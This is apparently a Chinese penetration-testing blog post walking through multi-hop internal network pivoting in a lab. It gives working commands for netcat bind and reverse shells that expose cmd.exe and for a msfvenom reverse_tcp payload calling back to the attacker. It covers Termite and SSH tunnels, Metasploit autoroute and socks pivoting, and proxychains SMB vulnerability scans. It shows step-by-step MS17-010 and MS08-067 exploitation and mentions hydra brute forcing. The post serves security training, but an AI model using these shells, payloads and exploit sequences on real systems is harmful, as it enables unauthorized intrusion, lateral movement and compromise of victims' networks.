首页 > 技术文章 > 03.msf纵向渗透多级网络穿透

fanghan 2020-11-20 03:19 原文

NC工具的使用
内网穿透工具termite
SSH代理使用
MSF穿越多级网络
端口复用

PART 1: NC及穿透内网工具使用 本地要ngrok转发才行

Nc使用详解
tcp监听
nc可以作为server端启动一个tcp的监听,默认情况下下面监听的是一个tcp的端口
nc -l -p 9999
客户端测试
1、在B机器上telnet A机器此端口,如下显示表示B机器可以访问A机器此端口
telnet 10.0.1.161 9999
2、B机器上也可以使用nmap扫描A机器的此端口
nmap 10.0.1.161 -p9999
3、使用nc命令作为客户端工具进行端口探测
nc -vz -w 2 10.0.1.161 9999
(-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字)
服务端会自动关闭监听。
4、nc可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固
在客户端B机器上扫描连续的两个端口,如下
nc -vzw 2 10.0.1.161 9998-9999


Nc传文件
方法1,先启动接收命令
使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了
把A机器上的一个rpm文件发送到B机器上
需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。
步骤1,先在B机器上启动一个接收文件的监听,格式如下
意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取)
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm
步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
方法2,先启动发送命令
步骤1,先在B机器上,启动发送文件命令
下面命令表示通过本地的9992端口发送test.mv文件
nc -l -p 9992 <test.mv
步骤2,A机器上连接B机器,取接收文件
下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv
nc 10.0.1.162 9992 >test2.mv

Nc反弹shell
方法1、REMOTE主机绑定SHELL
在公网监听
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在内网主动建立连接
nc -nvv 192.168.153.138 5555
-t是通过telne模式执行 cmd.exe 程序,可以省略。
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
方法2、REMOTE主机绑定SHELL并反向连接
在公网监听
nc -lp 5555
在内网机器反弹
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

---------------------------------------------------------------------------------
模拟:链接和扫描

NC可以上传文件,下载文件,shell,电子取证,也可以建立连接聊天
还可扫端口 类似与nmap
NC属于cs架构,客户端,服务端
Linux也可以连接windows
windows工具在内网安全nc里
模拟:
把nc放进目标虚拟机
在把nc放进物理机

目标03机
是命令行的:nc.exe -l -p 12345 //-l是侦听 -p是端口

物理机nc
nc.exe 目标地址 目标所侦听的端口
注意这种聊天是没加密的,需要加密就得安装安全套接层.ssh加密之类的

端口扫描
物理机扫描虚拟机:
nc -vz -w 2 10.0.1.161 9999
nc -vzw 2 10.0.1.161 9998-9999

--------------
模拟上传文件
客户端传服务端
目标机输入:
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm //在目标机侦听端口,接受物理机(vps)的文件并保存到zabbix.rpm格式,大于号代表接受文本保存格式

客户机输入
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm 小于号代表传输文件

服务端传客户端
目标机输入
nc -l -p 9992 <test.mv

客户机输入
nc 10.0.1.162 9992 >test2.mv
如果客户机侦听,目标机来链接,客户机启动链接我的就会发送文件,那么目标机防火墙就不会拦截
----------------------------------------------------------
以下是新的工具
PART 2: termite工具使用
工具在内网安全Termite
termite
程序地址, http://rootkiter.com/Termite/
一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便
程序分为两部分,admin[为控制端]和agent[为代理端节点],admin和agent所有选项用途均一致
-l 指定本地socks端口,等待远程连
-c 指定远程socks机器ip
-p 指定远程socks机器端口

管理端叫admin
服务端为agent
不同的系统服务端直接运行即可

win10物理机
03:桥接/vm1 169.254.38.181/192.168.25.129
win7:vm1/vm2 192.168.25.128/ 192.168.18.129
xp:vm2 192.168.18.128
把服务端agent_win32.exe放到桌面

test
1. 以服务模式启动一个agent服务。
> $ ./agent -l 8888
2. 令管理端连接到agent并对agent进行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
>> help
4. 通过show指令可以得到当前agent的拓扑情况。
>> show
0M
+-- 1M
由于当前拓扑中只有一个agent,所以展示结果只有 1M ,
其中1 为节点的ID号,
M为MacOS系统的简写,Linux为L,Windows简写为W。
5. 将新agent加入当前拓扑
> ./agent -c 127.0.0.1 -p 8888
6. 此时show指令将得到如下效果
0M
+-- 1M
| +-- 2M
这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。

模拟:
03:桥接/vm1 路径转到桌面 agent_Win32.exe -l 6666 //侦听上6666
win7:vm1/vm2 agent_Win32.exe -l 7777
xp:vm2 agent_Win32.exe -l 8888

第一步.物理机链接03 admin_win32.exe -c 169.254.38.181 -p 6666
第二步 show 查看会话
第三部 goto 1 //选择链接03
第四部 connect 192.168.25.128 7777
第五步 goto 2
第六步 connect 192.168.18.128 8888
管理成功

可以执行
socks代理
端口转发
shll
上传下载
show 查看会话,help帮助

上传文件upfile d:\1.txt 1.txt

调用shell: shell 1188 会在我本地开个端口
在本地打开cmd:nc 127.0.0.1 1188 // 得借助nc

linux有个工具叫proxychains
termite创建socks 1080
本地安装prixychains驱动nmap扫描其他内网,就会把我的流量转发给xp
由xp来扫描整个网络

端口转发
lcxtran [lport] [rhost] [rport]
把xp的内网地址和3389转发到我这里1234端口
在用本地的stic连接本地的3389 就等于连接xp的3389

也可以反向连接 xp连接win7 ,win7连接03 , 物理机链接03,前提win7 xp 03开启侦听和主动侦听,可以过防火墙

 

linux放进去服务端
chmod 777 agent_linux_i586
./agent_linux_i586 -l 1133
物理机正常链接linux即可


PART 3: SSH代理穿透内网
当前机器A,SSH服务端B,目标服务器C,他们三者之间的关系是A可以SSH访问到B,B可以直接访问C,要达到的效果就A通过SSH端口转发直接访问服务器C.
例如:A为自己在家里的电脑,B为公司提供外网可以SSH访问的服务器B,C为内网服务器.B可以访问内网中的服务器C. 通过以下命令可以实现端口映射,通过SSH服务器将本地端口映射到服务器C对应的端口上,从而实现在本地A直接访问C的目的.


ssh正向代理
在Client机器A执行如下命令:
ssh -L [本地IP可省略:][本地端口]:[服务器C地址]:[服务器C端口] [SSH服务器IP] -p [非默认端口22]
如果使用的是默认SSH端口22 ,则"-p 端口"不用输入.
ssh -L 8001:10.0.0.1:8001 username@115.13.13.1 -p 22
ssh -L 8001:192.168.8.140:80 root@192.168.10.131
这样在访问本机的8001端口,通过SSH服务器B端口转发后,实际访问的就是服务器C的8001端口.

测试环境:
红帽NAT/vm1 192.168.207.131/192.168.25.130
kali NAT
08 vm1 原地址 IP:192.168.199.128 网192.168.199.100 8.8.8.8 /// 192.168.25.131

目的用kali借助红帽访问到08

kali:ssh -L 9002:192.168.25.131:9002 root@192.168.207.131
kali:ssh -L 9002:内网地址:9002 root@目标服务器地址
把08的9001网站通过红帽的转发到自己的9002上来.
浏览器120.0.0.1:9002测试是否联通

实战时候:VPS去链接目标服务器旗下的内网, 前提你得知道秘密就能做端口转发了
--------------------------------------------------------------------

ssh反向代理
我们把kali开启80,把80端口映射给ssh服务器8001端口
kali:ssh -R 192.168.25.130:8001:127.0.0.1:80 root@192.168.207.131
把我自己的端口转发到内网,让红帽和08服务器都能访问vps的8001网站
-------

将Client的端口镜像到SSH服务器上,所有可以访问SSH服务器的访问SSH镜像的端口时即是访问Client的端口.

ssh -R [SSH服务器IP:][SSH服务器上端口]:[客户端侧IP或能访问到的IP]:[客户端侧IP端口或能反问的IP的端口] 用户名@SSH服务器IP -p SSH服务器端口

如果SSH服务器使用的为默认22端口,则后面的"-p SSH服务器端口"不用输入

ssh -R 192.168.0.107 81:127.0.0.1:80 username@192.168.0.107 -p 2200

------------------------------------------------------------------------------

ssh配置socket代理
socket代理 ssh服务器可以访问外网,能访问google,facebook等站点,client可以访问ssh服务器但是不能访问google,facebook.如果希望client通过ssh服务器代理访问google,facebook通过以下命令可以实现.
ssh -D 8081 username@SSH服务器IP -p SSH服务器端口
ssd -D 8081 root@192.168.0.107
本地浏览器上设置socket代理后,浏览器即可访问google,facebook站点了.
或者可以使用proxychain 来扫描socket代理的内网

如果我要用vpskali去扫描内网正常没法扫描
我在连你你ssh的同时在做一个socket代理,让自己vps成为socket服务器侦听8081
在配置我vps的proxychain来扫描socket代理内网

① ssh -D 8081 root@192.168.207.131 服务器ip
netstat -thlp
③ vi /etc/proxychains.conf
socket4 改成127.0.0.1 8081
用proxychain nmap 去驱动

--------------------------------------
环境设置kali桥接网络 192.168.124.23
08两个网卡一个直连一个vm1
07一个vm1
PART 4: MSF穿越多级网络
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.124.23 lport=1122 -f exe > ff.exe //生成放到08web 08两个网卡一个直连一个vm1

 

msfconsole
use exploit/multi/handler //建立侦听
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.124.23
set rport 1122
run

回弹后拿到了08服务器的权限但是想进一步进入07

为了使msf中模块更好的扫描7.0网络我们给shell添加路由
run autoroute -s 192.168.25.0/24

然后开始扫描192.168.25.0网段,操作如下: //进行横向
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24
结果:
+] IP: 192.168.25.1 MAC 00:50:56:c0:00:01 (VMware, Inc.) 刚生成的路由
[+] IP: 192.168.25.128 MAC 00:0c:29:67:d4:79 (VMware, Inc.) 需要攻击的地址
[+] IP: 192.168.25.131 MAC 00:0c:29:92:cf:9c (VMware, Inc 08的地址
+] IP: 192.168.25.255 MAC 00:0c:29:92:cf:9c (VMware, Inc.) 虚拟机网卡
[+] IP: 192.168.25.254 MAC 00:50:56:e9:db:cd (VMware, 虚拟机网卡
background

信息收集:
search portsan //信息收集模块
use 调用5 用tcp扫描.
set rhosts 192.68.25.0/24 //扫描这个段
setg threads 50 //线程
run
结果:


如果要用nmap
search socks4代理
use 0 //调用
sessinos -l //准备用刚刚挂起的会话来建立cocks4
options
set srvhost 127.0.0.1 写自己的
netstat -tnlp查看端口有没有被占用,占用就换端口
run

vi /etc/proxychains.conf 把代理添加进去.127.0.0.1 1080 刚才开的端口

proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.7.20
//扫描ms所有的漏洞

结果出来后
回到msf
search ms17-010
调用use 3
options
set rhosts 192.168.25.137

25.135
这里要用 windows/meterpreter/bind_tcp //不能用rever反向 要用bind 正向
乘64
记住bind侦听是他开侦听我来链接他
成功获取到shell
在ipconfig
发现又有新网段xp 30网段
就再次添加路由
run autoroute -s 192.168.30.0/24
再次扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24

再次用nmap
再次search socks4代理
这次要添加新的端口 1081
vi /etc/proxychains.conf 把代理添加进去.127.0.0.1 1081 刚才开的端口 添加出两个

proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.30.20
//扫描ms所有的漏洞
漏洞出现ms08-067

search ms08-067
use 0
options
set 192.168.30.128
set payload windows/meterpreter/bind_tcp
options 注意端口4444 不行就改改
set targets 查看攻击的目标
xp sp3对应编号 34 set target 34
run


----------
横向的理解
可以借助proxychains hydra -l 爆破密码

横向同一网段
nmap 扫漏洞
扫出80就搞网站提权
445 爆破漏洞利用
中间件 探测利用

msf模块,嗅探密码之类的


如果服务器开的网站,portfwd add -l 8001 192.168.20.128 -p 8001 转到本地来
linux开了redis 127.0.0.1 就把目标转发本地

PART 5: 端口复用
示例:要将最初瞄准端口TCP-80的传入流量转移到另一个TCP端口,例如8080,请执行以下操作:

c:\> divertTCPconn 80 8080
3389 80

正常不行,这个工具用浏览器打开就是80
用远程连接80 就是3389
内网安全****tcp文件

推荐阅读